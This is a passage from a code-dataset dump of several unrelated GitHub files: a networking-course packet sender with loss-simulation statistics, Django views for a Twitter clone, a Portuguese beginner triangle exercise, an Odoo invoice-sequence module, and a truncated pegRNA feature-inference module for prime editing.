'snd/rord', 'snd/DA',\\\n                'snd/dely']:\n            all_count += self.logger.statistic_count[keys]\n        all_line = '{:52}{:>7}\\n'.format(all_title, all_count)\n\n        pld_title = 'Number of Segments handled by PLD:'\n        pld_count = all_count - self.send_without_pld\n        pld_line = '{:52}{:>7}\\n'.format(pld_title, pld_count)\n\n        drop_title = 'Number of Segments dropped:'\n        drop_count = self.logger.statistic_count['drop']\n        drop_line = '{:52}{:>7}\\n'.format(drop_title, drop_count)\n\n        corr_title = 'Number of Segments Corrupted:'\n        corr_count = self.logger.statistic_count['snd/corr']\n        corr_line = '{:52}{:>7}\\n'.format(corr_title, corr_count)\n\n        reorder_title = 'Number of Segments Re-ordered:'\n        reorder_count = self.logger.statistic_count['snd/rord']\n        reorder_line = '{:52}{:>7}\\n'.format(reorder_title, reorder_count)\n\n        dupli_title = 'Number of Segments Duplicated:'\n        dupli_count = self.logger.statistic_count['snd/DA']\n        dupli_line = '{:52}{:>7}\\n'.format(dupli_title, dupli_count)\n\n        delay_title = 'Number of Segments Delayed:'\n        delay_count = self.logger.statistic_count['snd/dely']\n        delay_line = '{:52}{:>7}\\n'.format(delay_title, delay_count)\n\n        timeout_title = 'Number of Retransmissions due to TIMEOUT:'\n        timeout_count = self.timeout_rxt_count\n        timeout_line = '{:52}{:>7}\\n'.format(timeout_title, timeout_count)\n\n        fast_title = 'Number of FAST RETRANSMISSION:'\n        fast_count = self.fast_rxt_count\n        fast_line = '{:52}{:>7}\\n'.format(fast_title, fast_count)\n\n        dupack_title = 'Number of DUP ACKS received:'\n        dupack_count = self.logger.statistic_count['rsv/DA']\n        dupack_line = '{:52}{:>7}\\n'.format(dupack_title, dupack_count)\n\n        statistic = horizontal_line\\\n                + size_line + all_line + pld_line\\\n                + drop_line + corr_line + reorder_line\\\n                + dupli_line + delay_line + timeout_line\\\n                + fast_line + dupack_line\\\n                + horizontal_line\n\n        print(statistic)\n\n        with open(self.logger.log_file, 'a') as fd:\n            fd.write(statistic)\n\n\n############################# Main Function ############################\nif __name__ == '__main__':\n    # get the arguments Sender\n    parser = argparse.ArgumentParser()\n    parser.add_argument('receiver_host_ip', type=str)\n    parser.add_argument('receiver_port', type=int)\n    parser.add_argument('file', type=str)\n    parser.add_argument('MWS', type=int)\n    parser.add_argument('MSS', type=int)\n    parser.add_argument('gamma', type=int)\n    parser.add_argument('pDrop', type=float)\n    parser.add_argument('pDuplicate', type=float)\n    parser.add_argument('pCorrupt', type=float)\n    parser.add_argument('pOrder', type=float)\n    parser.add_argument('maxOrder', type=int, choices=range(0, 7))\n    parser.add_argument('pDelay', type=float)\n    parser.add_argument('maxDelay', type=float)\n    parser.add_argument('seed', type=str)\n    args = parser.parse_args()\n\n    # create instance of Sender\n    instance = Sender(args)\n    instance.connect()\n\n    # read and send file\n    with open(args.file, 'rb') as fd:\n        data = fd.read(args.MSS)\n        while (data):\n            instance.send(data)\n            data = fd.read(args.MSS)\n\n    # terminate connection\n    instance.finish()\n    print(\"\\nSend\", args.file ,\"to\", instance.receiver_addr)","repo_name":"jackjyq/COMP9331_Socket","sub_path":"ass/sender.py","file_name":"sender.py","file_ext":"py","file_size_in_byte":16819,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4914658868","text":"from django.http import HttpResponseRedirect\nfrom django.shortcuts import get_object_or_404, render\n# from django.template import context\nfrom django.urls import reverse, reverse_lazy\nfrom django.views.generic import DetailView\nfrom django.views.generic.edit import CreateView, DeleteView\nfrom GoogleNews import GoogleNews\n\nfrom .forms import ProfileForm\nfrom .models import Comentario, Post, Profile\n\ngooglenews = GoogleNews()\ngooglenews = GoogleNews(period='d')\ngooglenews = GoogleNews(lang='pt', region='BR')\ngooglenews.search('BRASIL')\n\n\ndef post_list(request):\n    posts = Post.objects.order_by('-date_posted')\n    comentarios = Comentario.objects.all()\n    noticias = googlenews.results()\n    return render(request, 'post/base.html', {\n        \"posts\": posts,\n        \"comentarios\": comentarios,\n        \"noticias\": noticias\n    })\n\n\ndef tweet(request):\n    if request.method == \"POST\":\n        new_tweet = request.POST[\"new_tweet\"]\n        Post.objects.create(user=request.user, postagem=new_tweet)\n        return HttpResponseRedirect(reverse(\"post_list\"))\n\n\ndef comentarios(request, post_id):\n    if request.method == \"POST\":\n        post = Post.objects.get(pk=post_id)\n        new_comment = request.POST[\"new_comment\"]\n        Comentario.objects.create(\n            id_post_id=post.id, comentario=new_comment, user=request.user)\n        return HttpResponseRedirect(reverse(\"post_list\"))\n\n\ndef LikeView(request, pk):\n    post = get_object_or_404(Post, id=request.POST.get('post_id'))\n    post.likes.add(request.user)\n    return HttpResponseRedirect(reverse('post_list'))\n\n\ndef get_context_data(request, post_id):\n    post = get_object_or_404(Post, id=request.POST.get('post_id'))\n    total_likes = post.total_likes()\n    context = {\"total_likes\": total_likes}\n    return context\n\n\nclass PostDetailView(DetailView):  # new\n    model = Post\n    template_name = 'post/post_detail.html'\n\n\nclass PostCreateView(CreateView):  # new\n    model = Post\n    template_name = 'post/post_new.html'\n    fields = ['postagem']\n\n    def form_valid(self, form):\n        form.instance.user = self.request.user\n        return super(PostCreateView, self).form_valid(form)\n\n\nclass PostDeleteView(DeleteView):  # new\n    model = Post\n    template_name = 'post/post_delete.html'\n    success_url = reverse_lazy('post_list')\n\n\ndef perfil(request):\n    posts = Post.objects.order_by('-date_posted')\n    comentarios = Comentario.objects.all()\n    noticias = googlenews.results()\n    bio = Profile.objects.all()\n    return render(request, 'post/perfil.html', {\n        \"posts\": posts,\n        \"comentarios\": comentarios,\n        \"noticias\": noticias,\n        \"bio\": bio,\n\n    })\n\n\ndef update_bio(request, id):\n    obj = get_object_or_404(Profile, id=id)\n    form = ProfileForm(request.POST or None, instance=obj)\n    if form.is_valid():\n        form.save()\n        return HttpResponseRedirect(reverse('perfil'))\n    context = {\"form\": form}\n    return render(request, \"post/perfil_alter.html\", context)\n","repo_name":"marilia-borgo/Django_twitter","sub_path":"post/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"30009854594","text":"t1 = float(input(\"Digite um segmento: \"))\nt2 = float(input(\"Digite o segundo segmento: \"))\nt3 = float(input(\"Digite o terceiro segmento: \"))\nif t1 < t2 + t3 and t2 < t1 + t3 and t3 < t1 + t2:\n    print(\"Os segmentos acima  podem formar um triangulo!\", end=' ')\n    if t1 == t2 == t3:\n        print(\"EQUILATERO\")\n    elif t1 != t2 != t3 != t1:\n        print(\"ESCALENO\")\n    else:\n        print(\"ISÓSCELES\")\nelse:\n    print(\"Os segmentos acima nao podem formar um TRIANGULO!\")\n","repo_name":"AndreNunes7/Exercicios_python_CEV","sub_path":"Exercicio42.py","file_name":"Exercicio42.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"21241197034","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import api, fields, tools, models, _\nfrom odoo.exceptions import UserError, Warning\nimport logging\nimport re\n_logging = logging.getLogger(__name__)\n\n \nclass AccountMoveSerie(models.Model):\n\t_inherit = 'account.move'\n\n\tes_primera_en_secuencia = fields.Boolean(\"Es primera en secuencia\")\n\n\tdef _must_check_constrains_date_sequence(self):\n\t\tif self.l10n_latam_document_type_id.usar_prefijo_personalizado:\n\t\t\treturn False\n\t\treturn True\n\n\tdef _is_manual_document_number(self):\n\t\t#return self.journal_id.type == 'purchase'\n\t\treturn False\n\n\tdef _get_last_sequence_domain(self, relaxed=False):\n\t\tself.ensure_one()\n\t\tif not self.date or not self.journal_id:\n\t\t\treturn \"WHERE FALSE\", {}\n\n\t\tif self.usar_prefijo_personalizado and self.l10n_latam_document_type_id:\n\t\t\twhere_string = \" WHERE company_id = %(company_id)s AND name != '/'\"\n\t\t\tparam = {'company_id': self.company_id.id}\n\t\t\twhere_string += \" AND l10n_latam_document_type_id = %(l10n_latam_document_type_id)s\"\n\t\t\tparam['l10n_latam_document_type_id'] = self.l10n_latam_document_type_id.id\n\t\t\treturn where_string, param\n\n\t\twhere_string = \"WHERE journal_id = %(journal_id)s AND name != '/'\"\n\t\tparam = {'journal_id': self.journal_id.id}\n\n\t\tif not relaxed:\n\t\t\tdomain = [('journal_id', '=', self.journal_id.id), ('id', '!=', self.id or self._origin.id), ('name', 'not in', ('/', '', False))]\n\t\t\tif self.journal_id.refund_sequence:\n\t\t\t\trefund_types = ('out_refund', 'in_refund')\n\t\t\t\tdomain += [('move_type', 'in' if self.move_type in refund_types else 'not in', refund_types)]\n\t\t\treference_move_name = self.search(domain + [('date', '<=', self.date)], order='date desc', limit=1).name\n\t\t\tif not reference_move_name:\n\t\t\t\treference_move_name = self.search(domain, order='date asc', limit=1).name\n\t\t\tsequence_number_reset = self._deduce_sequence_number_reset(reference_move_name)\n\t\t\tif sequence_number_reset == 'year':\n\t\t\t\twhere_string += \" AND date_trunc('year', date::timestamp without time zone) = date_trunc('year', %(date)s) \"\n\t\t\t\tparam['date'] = self.date\n\t\t\t\tparam['anti_regex'] = re.sub(r\"\\?P<\\w+>\", \"?:\", self._sequence_monthly_regex.split('(?P<seq>')[0]) + '$'\n\t\t\telif sequence_number_reset == 'month':\n\t\t\t\twhere_string += \" AND date_trunc('month', date::timestamp without time zone) = date_trunc('month', %(date)s) \"\n\t\t\t\tparam['date'] = self.date\n\t\t\telse:\n\t\t\t\tparam['anti_regex'] = re.sub(r\"\\?P<\\w+>\", \"?:\", self._sequence_yearly_regex.split('(?P<seq>')[0]) + '$'\n\n\t\t\tif param.get('anti_regex') and not self.journal_id.sequence_override_regex:\n\t\t\t\twhere_string += \" AND sequence_prefix !~ %(anti_regex)s \"\n\n\t\tif self.journal_id.refund_sequence:\n\t\t\tif self.move_type in ('out_refund', 'in_refund'):\n\t\t\t\twhere_string += \" AND move_type IN ('out_refund', 'in_refund') \"\n\t\t\telse:\n\t\t\t\twhere_string += \" AND move_type NOT IN ('out_refund', 'in_refund') \"\n\n\t\treturn where_string, param\n\t\n\tdef _get_starting_sequence(self):\n\t\tif self.usar_prefijo_personalizado and self.l10n_latam_document_type_id:\n\t\t\tdoc_mapping = {'01': 'FFI', '03': 'BOL', '07': 'CNE', '08': 'NDI'}\n\t\t\tmiddle_code = doc_mapping.get(self.l10n_latam_document_type_id.code, self.journal_id.code)\n\t\t\t\n\t\t\tnumero = self.l10n_latam_document_type_id.correlativo_inicial\n\t\t\tcorrelativo = \"00000000\"\n\t\t\tif self.usar_prefijo_personalizado and self.l10n_latam_document_type_id.prefijo and numero:\n\t\t\t\tnumero = numero - 1\n\t\t\t\tcorrelativo = \"\"\n\t\t\t\tmiddle_code = self.l10n_latam_document_type_id.prefijo\n\t\t\t\tl_numero = len(str(numero))\n\t\t\t\tcant_restante = 8 - l_numero\n\t\t\t\t\n\t\t\t\tfor i in range(0, cant_restante):\n\t\t\t\t\tcorrelativo = correlativo+\"0\"\n\t\t\t\tcorrelativo = correlativo + str(numero)\n\t\t\telif self.journal_id.code != 'INV':\n\t\t\t\tmiddle_code = middle_code[:1] + self.journal_id.code[:2]\n\t\t\t\n\t\t\treturn \"%s %s-%s\" % (self.l10n_latam_document_type_id.doc_code_prefix, middle_code, correlativo)\n\t\telif self.l10n_latam_document_type_id:\n\t\t\tdoc_mapping = {'01': 'FFI', '03': 'BOL', '07': 'CNE', '08': 'NDI'}\n\t\t\tmiddle_code = doc_mapping.get(self.l10n_latam_document_type_id.code, self.journal_id.code)\n\t\t\t# TODO: maybe there is a better method for finding decent 2nd journal default invoice names\n\t\t\tif self.journal_id.code != 'INV':\n\t\t\t\tmiddle_code = middle_code[:1] + self.journal_id.code[:2]\n\t\t\treturn \"%s %s-00000000\" % (self.l10n_latam_document_type_id.doc_code_prefix, middle_code)\n\n\t\treturn super()._get_starting_sequence()\n\n\tdef obtener_correlativo_inicial(self, prefijo, numero):\n\t\tnumero = numero\n\t\tcorrelativo = \"\"\n\t\tmiddle_code = prefijo\n\t\tl_numero = len(str(numero))\n\t\tcant_restante = 8 - l_numero\n\t\t\n\t\tfor i in range(0, cant_restante):\n\t\t\tcorrelativo = correlativo+\"0\"\n\t\tcorrelativo = correlativo + str(numero)\n\n\t\tcorrelativo = \"%s %s%s\" % (self.l10n_latam_document_type_id.doc_code_prefix, prefijo, correlativo)\n\t\treturn correlativo\n\n\tdef _set_next_sequence(self):\n\t\tself.ensure_one()\n\n\t\tif self.usar_prefijo_personalizado:\n\t\t\tsecuencia = self.l10n_latam_document_type_id.prefijo\n\t\t\tinicio = 1\n\t\t\tif self.l10n_latam_document_type_id.secuencia_id:\n\t\t\t\tsecuencia = self.l10n_latam_document_type_id.secuencia_id.prefix\n\t\t\t\tinicio = self.l10n_latam_document_type_id.secuencia_id.number_next\n\t\t\tlast_sequence = self._get_last_sequence(secuencia)\n\t\t\tnew = not last_sequence\n\t\t\tnombre = \"/\"\n\t\t\tif new:\n\t\t\t\tnombre = self.obtener_correlativo_inicial(secuencia, inicio)\n\t\t\t\tself.es_primera_en_secuencia = True\n\t\t\telse:\n\t\t\t\tself.es_primera_en_secuencia = False\n\t\t\tself[self._sequence_field] = nombre\n\t\t\tself._compute_split_sequence()\n\t\t\treturn\n\n\t\tlast_sequence = self._get_last_sequence()\n\t\tnew = not last_sequence\n\t\tif new:\n\t\t\tlast_sequence = self._get_last_sequence(relaxed=True) or self._get_starting_sequence()\n\n\t\tformat, format_values = self._get_sequence_format_param(last_sequence)\n\t\tif new:\n\t\t\tif (self.is_cpe or self.usar_prefijo_personalizado) and self.l10n_latam_document_type_id:\n\t\t\t\t#format_values['seq'] = format_values['seq'] - 1\n\t\t\t\tformat_values['seq'] = format_values['seq']\n\t\t\telse:\n\t\t\t\tformat_values['seq'] = 0\n\t\t\t\n\t\t\tformat_values['year'] = self[self._sequence_date_field].year % (10 ** format_values['year_length'])\n\t\t\tformat_values['month'] = self[self._sequence_date_field].month\n\t\tformat_values['seq'] = format_values['seq'] + 1\n\n\t\t# aca se asigna el correlativo\n\t\tself[self._sequence_field] = format.format(**format_values)\n\t\tself._compute_split_sequence()\n\n\t@api.depends(lambda self: [self._sequence_field])\n\tdef _compute_split_sequence(self):\n\t\tfor record in self:\n\t\t\tsequence = record[record._sequence_field] or ''\n\t\t\tif sequence and sequence not in [\"//\", \"/\"] and record.usar_prefijo_personalizado:\n\t\t\t\tdatos = sequence.split(\"-\")\n\t\t\t\tif len(datos) == 2:\n\t\t\t\t\trecord.sequence_prefix = datos[0].split(\" \")[0]\n\t\t\t\t\trecord.sequence_number = datos[1]\n\t\t\t\t\tcontinue\n\t\t\tregex = re.sub(r\"\\?P<\\w+>\", \"?:\", record._sequence_fixed_regex.replace(r\"?P<seq>\", \"\"))  # make the seq the only matching group\n\t\t\tmatching = re.match(regex, sequence)\n\t\t\trecord.sequence_prefix = sequence[:matching.start(1)]\n\t\t\trecord.sequence_number = int(matching.group(1) or 0)\n\n\tdef _get_sequence(self):\n\t\tself.ensure_one()\n\t\treturn self.l10n_latam_document_type_id.secuencia_id\n\n\t@api.depends('posted_before', 'state', 'journal_id', 'date')\n\tdef _compute_name(self):\n\t\tres = super(AccountMoveSerie, self)._compute_name()\n\t\tfor move in self:\n\t\t\tif move.name in ['/', '//', '/0'] and move.usar_prefijo_personalizado and move.state == 'posted':\n\t\t\t\tsequence = move._get_sequence()\n\t\t\t\tif not sequence:\n\t\t\t\t\traise UserError('Defina una secuencia en su tipo de documento.')\n\t\t\t\tmove.name = \"%s %s\" % (move.l10n_latam_document_type_id.doc_code_prefix, sequence.with_context(ir_sequence_date=move.date).next_by_id())\n\t\t\telif move.name and move.es_primera_en_secuencia and move.usar_prefijo_personalizado and move.state == 'posted':\n\t\t\t\tsequence = move._get_sequence()\n\t\t\t\tif not sequence:\n\t\t\t\t\traise UserError('Defina una secuencia en su tipo de documento.')\n\t\t\t\tmove.es_primera_en_secuencia = False\n\t\t\t\tsequence.with_context(ir_sequence_date=move.date).next_by_id()\n\n\t\tself._compute_split_sequence()\n\n\t","repo_name":"Lobonick/cens-test","sub_path":"solse_pe_edi/models/account_move_serie.py","file_name":"account_move_serie.py","file_ext":"py","file_size_in_byte":8029,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"21930759654","text":"import copy\nimport logging\n\nfrom collections import defaultdict\n\nimport pandas as pd\nimport pysam\n\nfrom hits import gff, interval, sam, sw, utilities\n\nfrom knock_knock import target_info\n\ndef read_csv(csv_fn, process=True):\n    df = pd.read_csv(csv_fn, index_col='name', comment='#').fillna('')\n\n    if process:\n        component_order = ['protospacer', 'scaffold', 'extension']\n\n        for component in component_order:\n            # Files only containing non-pegRNAs may omit scaffold\n            # and extension columns.\n            if component not in df.columns:\n                df[component] = ''\n\n            df[component] = df[component].str.upper()\n\n        full_sequences = []\n        for _, row in df.iterrows():\n            full_sequence = ''.join([row[component] for component in component_order])\n            full_sequences.append(full_sequence)\n\n        df['full_sequence'] = full_sequences\n\n        return df.to_dict(orient='index')\n    \n    else:\n        return df\n\ndefault_feature_colors = {\n    'RTT': '#c7b0e3',\n    'PBS': '#85dae9',\n    'protospacer': 'lightgrey',\n    'scaffold': '#b7e6d7',\n    'overlap': '#9EAFD2',\n    'extension': '#777777',\n    'insertion': '#b1ff67',\n    'deletion': 'darkgrey',\n}\n\ndef PBS_name(pegRNA_name):\n    return f'{pegRNA_name}_PBS'\n\ndef protospacer_name(pegRNA_name):\n    return f'{pegRNA_name}_protospacer'\n\ndef extract_pegRNA_name(PBS_name):\n    return PBS_name.rsplit('_', 1)[0]\n\ndef identify_protospacer_in_target(target_sequence, protospacer, effector):\n    ''' Find an occurence of protospacer on either strand of target_sequence\n    that has a PAM for effector positioned appropriately. If there is more\n    than one such occurence, raise a ValueError. \n    Because the first nt of protospacer might be a non-matching G, first\n    look for the whole protospacer. If no match is found, look for the\n    protospacer with the first nt removed.\n    '''\n\n    if isinstance(effector, str):\n        effector = target_info.effectors[effector]\n\n    def find(protospacer_suffix):\n        valid_features = []\n        for strand, ps_seq in [('+', protospacer_suffix), ('-', utilities.reverse_complement(protospacer_suffix))]:\n            protospacer_starts = utilities.find_all_substring_starts(target_sequence, ps_seq)\n            \n            for protospacer_start in protospacer_starts:\n                protospacer_end = protospacer_start + len(ps_seq) - 1\n                target_protospacer_feature = gff.Feature.from_fields(start=protospacer_start,\n                                                                     end=protospacer_end,\n                                                                     strand=strand,\n                                                                     feature='sgRNA', \n                                                                     attribute_string=gff.make_attribute_string({\n                                                                         'color': default_feature_colors['protospacer'],\n                                                                         'effector': effector.name,\n                                                                     }),\n                                                                    )\n                \n                if effector.PAM_matches_pattern(target_protospacer_feature, target_sequence):\n                    valid_features.append(target_protospacer_feature)\n\n        return valid_features\n                \n    valid_features = find(protospacer)\n\n    if len(valid_features) == 0:\n        valid_features = find(protospacer[1:])\n\n    if len(valid_features) != 1:\n        raise ValueError(f'{len(valid_features)} valid locations for protospacer {protospacer} in target {target_sequence}')\n    else:\n        valid_feature = valid_features[0]\n        return valid_feature    \n\ndef infer_features(pegRNA_name,\n                   pegRNA_components,\n                   target_name,\n                   target_sequence,\n                  ):\n    '''\n    Identifies primer binding site (PBS) and reverse transcription template (RTT) regions\n    of a pegRNA/target sequence pair by locating the pegRNA protospacer in the target, then\n    finding the longest exact match in the extension region of the pegRNA for the sequence\n    immediately upstream of the nick location in the target.\n\n    Returns dictionaries of hits.gff Features for the pegRNA and the target.\n    '''\n\n    protospacer = pegRNA_components['protospacer']\n    pegRNA_sequence = pegRNA_components['full_sequence']\n    effector = target_info.effectors[pegRNA_components['effector']]\n\n    target_protospacer_feature = identify_protospacer_in_target(target_sequence, protospacer, effector)\n    target_protospacer_name = protospacer_name(pegRNA_name)\n    target_protospacer_feature.attribute['ID'] = target_protospacer_name\n    target_protospacer_feature.seqname = target_name\n    strand = target_protospacer_feature.strand\n    \n    cut_afters = effector.cut_afters(target_protospacer_feature)\n    try:\n        cut_after = cut_afters[strand]\n    except KeyError:\n        # To support PE nuclease strategies, allow for blunt-cutting effectors.\n        cut_after = cut_afters['both']\n\n    # Identify the PBS region of the pegRNA by finding a match to\n    # the sequence of the target immediately before the nick.    \n    \n    header = pysam.AlignmentHeader.from_references([pegRNA_name, 'target'], [len(pegRNA_sequence), len(target_sequence)])\n    # 'ref' is pegRNA and 'query' is target\n    mapper = sw.SeedAndExtender(pegRNA_sequence.encode(), 8, header, pegRNA_name)\n\n    target_bytes = target_sequence.encode()\n\n    # Note: assumes PBS perfectly matches at least seed_length nts at the nick.\n    seed_length = 7\n\n    if strand == '+':\n        seed_start = cut_after + 1 - seed_length\n        before_nick_start = 0\n        before_nick_end = cut_after\n    else:\n        before_nick_start = cut_after + 1\n        before_nick_end = len(target_sequence) - 1\n        seed_start = cut_after + 1\n\n    alignments = mapper.seed_and_extend(target_bytes, seed_start, seed_start + seed_length, pegRNA_name)\n    \n    extension_ref_p_start = len(pegRNA_components['protospacer'] + pegRNA_components['scaffold'])\n    extension_ref_interval = interval.Interval(extension_ref_p_start, len(pegRNA_sequence) - 1)\n    def overlaps_extension(al):\n        return interval.get_covered_on_ref(al) & extension_ref_interval\n\n    valid_alignments = [al for al in alignments if sam.get_strand(al) != strand and overlaps_extension(al)]\n\n    def priority_key(al):\n        # Prioritize longer matches, then matches closer to the 3' end.\n        return (al.query_alignment_length, al.reference_start)\n\n    valid_alignments = sorted(valid_alignments, key=priority_key, reverse=True)\n\n    if len(valid_alignments) == 0:\n        seed_sequence = target_bytes[seed_start:seed_start + seed_length]\n        starts = [al.reference_start for al in valid_alignments]\n        warning_message = [f'{pegRNA_name}: {len(valid_alignments)} valid PBS alignment(s) for {seed_sequence}'] + \\\n        [f'\\tlength: {al.query_alignment_length}, start in pegRNA: {al.reference_start}, start in target: {al.query_alignment_start}' for al in valid_alignments]\n        logging.warning('\\n'.join(warning_message))\n        \n    PBS_alignment = valid_alignments[0]\n\n    # Restrict the PBS to not extend past the nick.\n    PBS_alignment = sam.crop_al_to_query_int(PBS_alignment, before_nick_start, before_nick_end)\n\n    # Build GFF features of the pegRNA components.\n\n    starts = {}\n    starts['protospacer'] = 0\n    starts['scaffold'] = starts['protospacer'] + len(pegRNA_components['protospacer'])\n    starts['extension'] = starts['scaffold'] + len(pegRNA_components['scaffold'])\n    \n    ends = {name: starts[name] + len(pegRNA_components[name]) for name in starts}\n    \n    starts['PBS'] = PBS_alignment.reference_start\n    ends['PBS'] = starts['PBS'] + PBS_alignment.query_alignment_length\n    \n    starts['RTT'] = starts['extension']\n    ends['RTT'] = starts['PBS']\n    \n    # Need to annotate PBS and RTT strands like this to enable\n    # identification of shared features.\n    strands = {\n        'protospacer': '+',\n        'scaffold': '+',\n        'extension': '+',\n        'PBS': '-',\n        'RTT': '-',\n    }\n\n    # Update pegRNA_components.\n    for name in ['PBS', 'RTT']:\n        pegRNA_components[name] = pegRNA_sequence[starts[name]:ends[name]]\n\n    pegRNA_features = {\n        (pegRNA_name, name): gff.Feature.from_fields(seqname=pegRNA_name,\n                                                     start=starts[name],\n                                                     end=ends[name] - 1,\n                                                     feature='misc', \n                                                     strand=strands[name],\n                                                     attribute_string=gff.make_attribute_string({\n                                                         'ID': name,\n                                                         'color': default_feature_colors[name],\n                                                     }),\n                                                    )\n        for name in starts\n    }\n\n    # Build PBS feature on the target.\n\n    target_PBS_start, target_PBS_end = sam.query_interval(PBS_alignment)\n    target_PBS_name = PBS_name(pegRNA_name)\n    target_PBS_feature = gff.Feature.from_fields(seqname=target_name,\n                                                 start=target_PBS_start,\n                                                 end=target_PBS_end,\n                                                 strand=strand,\n                                                 feature='misc', \n                                                 attribute_string=gff.make_attribute_string({\n                                                     'ID': target_PBS_name,\n                                                     'color': default_feature_colors['PBS'],\n                                                 }),\n                                                )\n\n    target_features = {\n        (target_name, target_PBS_name): target_PBS_feature,\n        (target_name, target_protospacer_name): target_protospacer_feature,\n    }\n    \n    return pegRNA_features, target_features\n\ndef infer_edit_features(pegRNA_name,\n                        target_name,\n                        existing_features,\n                        reference_sequences,\n                        max_deletion_length=None,\n                       ):\n    ''' Requires features to already include results from infer_features.\n    \n    Compatibility with code initially designed for HDR screens wants\n    pegRNAs to be annotated with 'homology arms' and 'SNPs'.\n    One HA is the PBS, the other is the RT, and SNPs are features.\n\n    In pooled screening contexts, max_deletion_length may need to be set.\n    '''\n\n    target_sequence = reference_sequences[target_name]\n\n    new_features = {}\n\n    names = {\n        'target': target_name,\n        'pegRNA': pegRNA_name,\n    }\n\n    features = {\n        ('target', 'PBS'): existing_features[names['target'], PBS_name(names['pegRNA'])],\n        ('target', 'protospacer'): existing_features[names['target'], protospacer_name(names['pegRNA'])],\n        ('pegRNA', 'PBS'): existing_features[names['pegRNA'], 'PBS'],\n        ('pegRNA', 'RTT'): existing_features[names['pegRNA'], 'RTT'],\n        ('pegRNA', 'scaffold'): existing_features[names['pegRNA'], 'scaffold'],\n    }\n\n    strands = {\n        'target': features['target', 'PBS'].strand,\n        'pegRNA': '-',\n    }\n\n    seqs = {\n        ('pegRNA', name): features['pegRNA', name].sequence(reference_sequences)\n        for name in ['RTT', 'scaffold']\n    }\n\n    # feature sequence lookup uses strand to RC, so RTT will be RC'ed but not scaffold.\n    if features['pegRNA', 'scaffold'].strand == '+':\n        seqs['pegRNA', 'scaffold'] = utilities.reverse_complement(seqs['pegRNA', 'scaffold'])\n\n    starts = {\n        ('pegRNA', 'RTT'): features['pegRNA', 'RTT'].end,\n    }\n    ends = {}\n\n    if strands['target'] == '+':\n        starts['target', 'RTT'] = features['target', 'PBS'].end + 1\n        ends['target', 'RTT'] = starts['target', 'RTT'] + len(features['pegRNA', 'RTT'])\n\n        starts['target', 'scaffold'] = ends['target', 'RTT'] + 1\n        ends['target', 'scaffold'] = starts['target', 'scaffold'] + len(features['pegRNA', 'scaffold'])\n\n    else:\n        ends['target', 'RTT'] = features['target', 'PBS'].start # Note: ends is exclusive here, so no - 1\n        starts['target', 'RTT'] = ends['target', 'RTT'] - len(features['pegRNA', 'RTT'])\n\n        ends['target', 'scaffold'] = starts['target', 'RTT'] # Note: ends is exclusive here, so no - 1\n        starts['target', 'scaffold'] = ends['target', 'scaffold'] - len(features['pegRNA', 'scaffold'])\n\n    for name in ['RTT', 'scaffold']:\n        seqs['target', name] = target_sequence[starts['target', name]:ends['target', name]]\n        if features['target', 'PBS'].strand == '-':\n            seqs['target', name] = utilities.reverse_complement(seqs['target', name])\n\n    # pegRNA sequences should always be provided as 5'-3' RNA\n    # and therefore have the RTT feature on the - strand. \n    if features['pegRNA', 'RTT'].strand != '-':\n        raise ValueError(str(features['pegRNA', 'RTT']))\n\n    # Find the longest suffix of the intended flap sequence that matches\n    # somewhere in the target downstream of the nick.\n\n    intended_flap_sequence = seqs['pegRNA', 'RTT']\n\n    protospacer = features['target', 'protospacer']\n    effector = target_info.effectors[protospacer.attribute['effector']]\n    try:\n        cut_after = effector.cut_afters(protospacer)[protospacer.strand]\n    except KeyError:\n        # PE nuclease support\n        cut_after = effector.cut_afters(protospacer)['both']\n\n    if strands['target'] == '+':\n        target_downstream_of_nick = target_sequence[cut_after + 1:]\n    else:\n        target_downstream_of_nick = utilities.reverse_complement(target_sequence[:cut_after + 1])\n\n    if max_deletion_length is not None:\n        target_downstream_of_nick = target_downstream_of_nick[:max_deletion_length + len(intended_flap_sequence)]\n\n    found_suffix = False\n\n    flap_suffix_length_to_index = {} \n    for suffix_length in range(len(intended_flap_sequence), 0, -1):\n        flap_suffix = intended_flap_sequence[len(intended_flap_sequence) - suffix_length:]\n        if flap_suffix in target_downstream_of_nick:\n            flap_suffix_length_to_index[len(flap_suffix)] = target_downstream_of_nick.index(flap_suffix)\n            found_suffix = True\n\n    if not found_suffix:\n        # Shouldn't really be possible to hit this.\n        raise ValueError\n\n    max_suffix_length = max(flap_suffix_length_to_index, default=0)\n    \n    #if max_suffix_length <= 6:\n    #    logging.warning(f'{pegRNA_name} {target_name} has short RTT: {max_suffix_length} nts')\n\n    suffix_length = max_suffix_length\n\n    if max_suffix_length <= 5:\n        # If a long enough suffix was found, it is likely to be the intended one.\n        # If not, it is possible that a slightly longer but spurious match was found somewhere\n        # further downstream. To minimize the chances of this, prioritize closer but shorter matches.\n        shorter_index = flap_suffix_length_to_index.get(max_suffix_length - 1, 1e6)\n        if shorter_index < flap_suffix_length_to_index[max_suffix_length]:\n            suffix_length = max_suffix_length - 1\n\n    flap_suffix = intended_flap_sequence[len(intended_flap_sequence) - suffix_length:]\n\n    # After removing this suffix, find the longest prefix of the remaining\n    # flap that matches immediately downstream of the nick.\n\n    remaining_flap = intended_flap_sequence[:len(intended_flap_sequence) - suffix_length]\n\n    HA_RT_target_offset = target_downstream_of_nick.index(flap_suffix)\n    remaining_target = target_downstream_of_nick[:HA_RT_target_offset]\n\n    for prefix_length in range(len(remaining_flap) + 1):\n        flap_prefix = remaining_flap[:prefix_length]\n        if not remaining_target.startswith(flap_prefix):\n            prefix_length -= 1\n            flap_prefix = remaining_flap[:prefix_length]\n            break\n\n    # After removing this prefix, compare the remaining flap to the\n    # remaining target sequence that wasn't already paired with\n    # flap sequence.\n\n    # If they have the same length, annotate as SNVs.\n    # If there is pegRNA left but no target left, annotate as an insertion.\n    # If there is target left but not pegRNA, annotate as a deletion.\n    # Other, annotate as a combination of edits.\n\n    remaining_flap = remaining_flap[prefix_length:]\n    remaining_target = remaining_target[prefix_length:]\n\n    if len(remaining_flap) == 0 and len(remaining_target) > 0:\n        edit_type = 'deletion'\n    elif len(remaining_flap) > 0 and len(remaining_target) == 0:\n        